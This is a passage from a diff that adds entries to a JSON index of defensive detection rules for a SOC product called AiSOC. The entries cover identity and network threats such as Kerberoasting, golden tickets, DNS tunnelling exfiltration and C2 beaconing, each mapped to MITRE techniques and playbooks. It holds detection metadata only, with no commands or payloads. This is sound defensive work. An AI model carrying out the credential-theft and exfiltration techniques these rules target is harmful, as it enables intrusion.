'Authentication Attempt Against Disabled Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/disabled-account-login-attempt.yaml"+ },+ {+ "id": "det-identity-008",+ "type": "detection",+ "name": "MFA Push Bombing (MFA Fatigue)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Push Bombing (MFA Fatigue)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1621"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/mfa-fatigue.yaml"+ },+ {+ "id": "det-identity-009",+ "type": "detection",+ "name": "MFA Requirement Removed from User Policy",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'MFA Requirement Removed from User Policy'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556.006"+ ],+ "log_source": "okta",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/mfa-bypass-policy-change.yaml"+ },+ {+ "id": "det-identity-010",+ "type": "detection",+ "name": "Authentication with Expired Credential",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication with Expired Credential'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1110"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/expired-credential-reuse.yaml"+ },+ {+ "id": "det-identity-011",+ "type": "detection",+ "name": "Service Account Used for Interactive Login",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Service Account Used for Interactive Login'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/service-account-interactive-login.yaml"+ },+ {+ "id": "det-identity-012",+ "type": "detection",+ "name": "Root SSH Login on Production Host",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Root SSH Login on Production Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/root-ssh-login.yaml"+ },+ {+ "id": "det-identity-013",+ "type": "detection",+ "name": "Login with Vendor Default Credentials",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Login with Vendor Default Credentials'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1078.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/default-credential-login.yaml"+ },+ {+ "id": "det-identity-014",+ "type": "detection",+ "name": "Shared Account Login Spike (Distinct IPs)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Shared Account Login Spike (Distinct IPs)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/shared-account-login-spike.yaml"+ },+ {+ "id": "det-identity-015",+ "type": "detection",+ "name": "Authentication During Active P0/P1 Incident Window",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Authentication During Active P0/P1 Incident Window'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-incident-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/login-during-incident.yaml"+ },+ {+ "id": "det-identity-016",+ "type": "detection",+ "name": "Privileged Role Assignment",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Role Assignment'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/privileged-role-assignment.yaml"+ },+ {+ "id": "det-identity-017",+ "type": "detection",+ "name": "Just-In-Time Elevation Held Beyond Window",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Just-In-Time Elevation Held Beyond Window'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1078"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/jit-elevation-abuse.yaml"+ },+ {+ "id": "det-identity-018",+ "type": "detection",+ "name": "Sudo Used Without MFA",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Sudo Used Without MFA'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1548.003"+ ],+ "log_source": "linux",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/sudo-no-mfa.yaml"+ },+ {+ "id": "det-identity-019",+ "type": "detection",+ "name": "Active Directory Group Policy Modified",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory Group Policy Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1484.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/group-policy-modification.yaml"+ },+ {+ "id": "det-identity-020",+ "type": "detection",+ "name": "Kubernetes ClusterRoleBinding to cluster-admin",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Kubernetes ClusterRoleBinding to cluster-admin'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1078.004"+ ],+ "log_source": "kubernetes",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/rbac-cluster-admin-binding.yaml"+ },+ {+ "id": "det-identity-021",+ "type": "detection",+ "name": "Defensive IAM Policy Detached",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Defensive IAM Policy Detached'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1562.008"+ ],+ "log_source": "aws",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/iam-policy-detach-defense.yaml"+ },+ {+ "id": "det-identity-022",+ "type": "detection",+ "name": "Domain Password Policy Weakened",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Domain Password Policy Weakened'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1556"+ ],+ "log_source": "windows",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/domain-password-policy-weakened.yaml"+ },+ {+ "id": "det-identity-023",+ "type": "detection",+ "name": "OAuth App Granted Broad Scopes by User",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'OAuth App Granted Broad Scopes by User'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "google-workspace",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/oauth-broad-scope-grant.yaml"+ },+ {+ "id": "det-identity-024",+ "type": "detection",+ "name": "GitHub App Installed with Repo Admin Permission",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'GitHub App Installed with Repo Admin Permission'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098.001"+ ],+ "log_source": "github",+ "playbook": "tpl-supply-chain",+ "verified": true,+ "source": "core",+ "path": "detections/identity/app-token-broad-default.yaml"+ },+ {+ "id": "det-identity-025",+ "type": "detection",+ "name": "Persistent Session Token Reused from New Device Fingerprint",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Persistent Session Token Reused from New Device Fingerprint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1550.004"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/token-reuse-new-device.yaml"+ },+ {+ "id": "det-identity-026",+ "type": "detection",+ "name": "User Account Creation by Non-Admin Principal",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'User Account Creation by Non-Admin Principal'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1136.001"+ ],+ "log_source": "okta",+ "playbook": "tpl-privilege-escalation",+ "verified": true,+ "source": "core",+ "path": "detections/identity/account-creation-by-non-admin.yaml"+ },+ {+ "id": "det-identity-027",+ "type": "detection",+ "name": "Privileged Account Deleted",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Privileged Account Deleted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1531"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/identity/admin-account-deletion.yaml"+ },+ {+ "id": "det-identity-028",+ "type": "detection",+ "name": "Disabled Account Re-enabled",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Disabled Account Re-enabled'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/account-enable-after-disable.yaml"+ },+ {+ "id": "det-identity-029",+ "type": "detection",+ "name": "Admin Password Reset Initiated by Self via Self-Service",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Admin Password Reset Initiated by Self via Self-Service'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/self-password-reset-admin.yaml"+ },+ {+ "id": "det-identity-030",+ "type": "detection",+ "name": "Password Reset Out of Business Hours for Privileged Account",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Password Reset Out of Business Hours for Privileged Account'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "identity",+ "mitre_techniques": [+ "T1098"+ ],+ "log_source": "okta",+ "playbook": "tpl-account-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/password-reset-out-of-hours.yaml"+ },+ {+ "id": "det-identity-031",+ "type": "detection",+ "name": "Active Directory Replication Request from Non-Domain-Controller",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Active Directory Replication Request from Non-Domain-Controller'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1003.006"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/ad-replication-non-dc.yaml"+ },+ {+ "id": "det-identity-032",+ "type": "detection",+ "name": "Kerberoasting (Service-Ticket Request for SPN)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Kerberoasting (Service-Ticket Request for SPN)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1558.003"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/kerberoasting.yaml"+ },+ {+ "id": "det-identity-033",+ "type": "detection",+ "name": "AS-REP Roasting (Account with Pre-Auth Disabled)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'AS-REP Roasting (Account with Pre-Auth Disabled)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1558.004"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/asreproasting.yaml"+ },+ {+ "id": "det-identity-034",+ "type": "detection",+ "name": "Golden Ticket Indicator (Anomalous TGT Lifetime)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Golden Ticket Indicator (Anomalous TGT Lifetime)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1558.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/golden-ticket.yaml"+ },+ {+ "id": "det-identity-035",+ "type": "detection",+ "name": "Silver Ticket Indicator (Service Ticket Without TGS Hit)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Silver Ticket Indicator (Service Ticket Without TGS Hit)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1558.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/silver-ticket.yaml"+ },+ {+ "id": "det-identity-036",+ "type": "detection",+ "name": "SAML Response with Mismatched Issuer or Future-Dated NotBefore",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'SAML Response with Mismatched Issuer or Future-Dated NotBefore'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1606.002"+ ],+ "log_source": "okta",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/identity/saml-response-anomaly.yaml"+ },+ {+ "id": "det-identity-037",+ "type": "detection",+ "name": "Federation Trust Relationship Modified",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Federation Trust Relationship Modified'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556.007"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/federated-trust-modified.yaml"+ },+ {+ "id": "det-identity-038",+ "type": "detection",+ "name": "IDP Metadata or Signing Cert Changed",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'IDP Metadata or Signing Cert Changed'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "identity",+ "mitre_techniques": [+ "T1556"+ ],+ "log_source": "okta",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/idp-metadata-changed.yaml"+ },+ {+ "id": "det-identity-039",+ "type": "detection",+ "name": "Conditional Access Policy Scope Broadened (Less Restrictive)",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Conditional Access Policy Scope Broadened (Less Restrictive)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1562.001"+ ],+ "log_source": "azure",+ "playbook": "tpl-defense-evasion",+ "verified": true,+ "source": "core",+ "path": "detections/identity/ca-policy-scope-broadened.yaml"+ },+ {+ "id": "det-identity-040",+ "type": "detection",+ "name": "Cross-Tenant Identity Access Granted",+ "description": "AiSOC v1 curated detection. Triggers on the identity signal described by 'Cross-Tenant Identity Access Granted'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "identity",+ "mitre_techniques": [+ "T1199"+ ],+ "log_source": "azure",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/identity/federation-cross-tenant-access.yaml"+ },+ {+ "id": "det-network-001",+ "type": "detection",+ "name": "C2 Beacon Pattern (Periodic High-Frequency)",+ "description": "Detects highly periodic outbound network connections to a single destination, characteristic of command-and-control (C2) beaconing from implants. Combines both connection count and interval consistency to reduce false positives from telemetry agents.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/c2-beacon-high-frequency.yaml"+ },+ {+ "id": "det-network-002",+ "type": "detection",+ "name": "DNS Tunneling / Exfiltration (High Length Subdomains)",+ "description": "Detects DNS tunnelling activity characterised by abnormally long subdomain labels and high query volume to a single parent domain. Common technique for covert data exfiltration that bypasses egress filtering on standard ports.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1048.003"+ ],+ "log_source": "dns",+ "playbook": "tpl-data-exfil",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-data-exfiltration.yaml"+ },+ {+ "id": "det-network-003",+ "type": "detection",+ "name": "Internal Network Port Scan",+ "description": "Detects horizontal and vertical port scanning activity originating from inside the network. Often the first sign of an attacker performing reconnaissance after gaining initial foothold.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1046"+ ],+ "log_source": "ndr",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/port-scan-internal.yaml"+ },+ {+ "id": "det-network-004",+ "type": "detection",+ "name": "SSH Brute-Force From Internet",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SSH Brute-Force From Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1110.001"+ ],+ "log_source": "linux",+ "playbook": "tpl-account-compromise",+ "verified": true,+ "source": "core",+ "path": "detections/network/ssh-failed-from-internet.yaml"+ },+ {+ "id": "det-network-005",+ "type": "detection",+ "name": "SMB Lateral Movement (Many ADMIN$ Connections)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Lateral Movement (Many ADMIN$ Connections)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1021.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-lateral-movement",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-lateral-movement.yaml"+ },+ {+ "id": "det-network-006",+ "type": "detection",+ "name": "RDP From Internet to Internal Host",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'RDP From Internet to Internal Host'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "critical",+ "category": "network",+ "mitre_techniques": [+ "T1133"+ ],+ "log_source": "ndr",+ "playbook": "tpl-cloud-anomaly",+ "verified": true,+ "source": "core",+ "path": "detections/network/rdp-from-internet.yaml"+ },+ {+ "id": "det-network-007",+ "type": "detection",+ "name": "Outbound Connection to Known Tor Exit",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection to Known Tor Exit'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1090.003"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tor-traffic.yaml"+ },+ {+ "id": "det-network-008",+ "type": "detection",+ "name": "Outbound HTTP(S) to Newly Registered Domain",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound HTTP(S) to Newly Registered Domain'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "proxy",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/newly-registered-domain-traffic.yaml"+ },+ {+ "id": "det-network-009",+ "type": "detection",+ "name": "DNS Fast-Flux (Many Distinct A-Records / Short TTL)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'DNS Fast-Flux (Many Distinct A-Records / Short TTL)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1568.001"+ ],+ "log_source": "dns",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/dns-fast-flux.yaml"+ },+ {+ "id": "det-network-010",+ "type": "detection",+ "name": "SMB Authentication Without Signing",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Authentication Without Signing'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1557.001"+ ],+ "log_source": "windows",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-signing-disabled-auth.yaml"+ },+ {+ "id": "det-network-011",+ "type": "detection",+ "name": "Rogue DHCP Server Detected on LAN",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Rogue DHCP Server Detected on LAN'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1557"+ ],+ "log_source": "ndr",+ "playbook": "tpl-credential-theft",+ "verified": true,+ "source": "core",+ "path": "detections/network/dhcp-rogue-server.yaml"+ },+ {+ "id": "det-network-012",+ "type": "detection",+ "name": "ICMP Tunneling Pattern (Large Payloads)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'ICMP Tunneling Pattern (Large Payloads)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1095"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/icmp-tunnel.yaml"+ },+ {+ "id": "det-network-013",+ "type": "detection",+ "name": "Outbound TLS to Server with Self-Signed Cert (Non-Allowed)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound TLS to Server with Self-Signed Cert (Non-Allowed)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1573.002"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tls-self-signed-cert-conn.yaml"+ },+ {+ "id": "det-network-014",+ "type": "detection",+ "name": "TLS JA3 Hash in Threat-Intel Match",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'TLS JA3 Hash in Threat-Intel Match'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/tls-ja3-anomaly.yaml"+ },+ {+ "id": "det-network-015",+ "type": "detection",+ "name": "Outbound Traffic to Rare/Suspicious ASN",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Traffic to Rare/Suspicious ASN'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1071.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-c2",+ "verified": true,+ "source": "core",+ "path": "detections/network/egress-to-rare-asn.yaml"+ },+ {+ "id": "det-network-016",+ "type": "detection",+ "name": "SMB Null Session Attempt",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SMB Null Session Attempt'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1135"+ ],+ "log_source": "windows",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/smb-null-session.yaml"+ },+ {+ "id": "det-network-017",+ "type": "detection",+ "name": "LDAP Bind from Workstation to Domain Controller (Excessive)",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'LDAP Bind from Workstation to Domain Controller (Excessive)'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1087.002"+ ],+ "log_source": "windows",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/ldap-bind-anomaly.yaml"+ },+ {+ "id": "det-network-018",+ "type": "detection",+ "name": "SNMP Public Community String Probe From Internet",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SNMP Public Community String Probe From Internet'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "medium",+ "category": "network",+ "mitre_techniques": [+ "T1190"+ ],+ "log_source": "ndr",+ "playbook": "tpl-recon",+ "verified": true,+ "source": "core",+ "path": "detections/network/snmp-public-community-internet.yaml"+ },+ {+ "id": "det-network-019",+ "type": "detection",+ "name": "SYN Flood Pattern Against Public Endpoint",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'SYN Flood Pattern Against Public Endpoint'. Watch the 1 documented false-positive case before tuning.",+ "version": "1.0.0",+ "author": "AiSOC",+ "tags": [+ "tlp.white"+ ],+ "severity": "high",+ "category": "network",+ "mitre_techniques": [+ "T1498.001"+ ],+ "log_source": "ndr",+ "playbook": "tpl-ddos",+ "verified": true,+ "source": "core",+ "path": "detections/network/ddos-syn-flood.yaml"+ },+ {+ "id": "det-network-020",+ "type": "detection",+ "name": "Outbound Connection to Threat-Intel-Blocked IP",+ "description": "AiSOC v1 curated detection. Triggers on the network signal described by 'Outbound Connection to 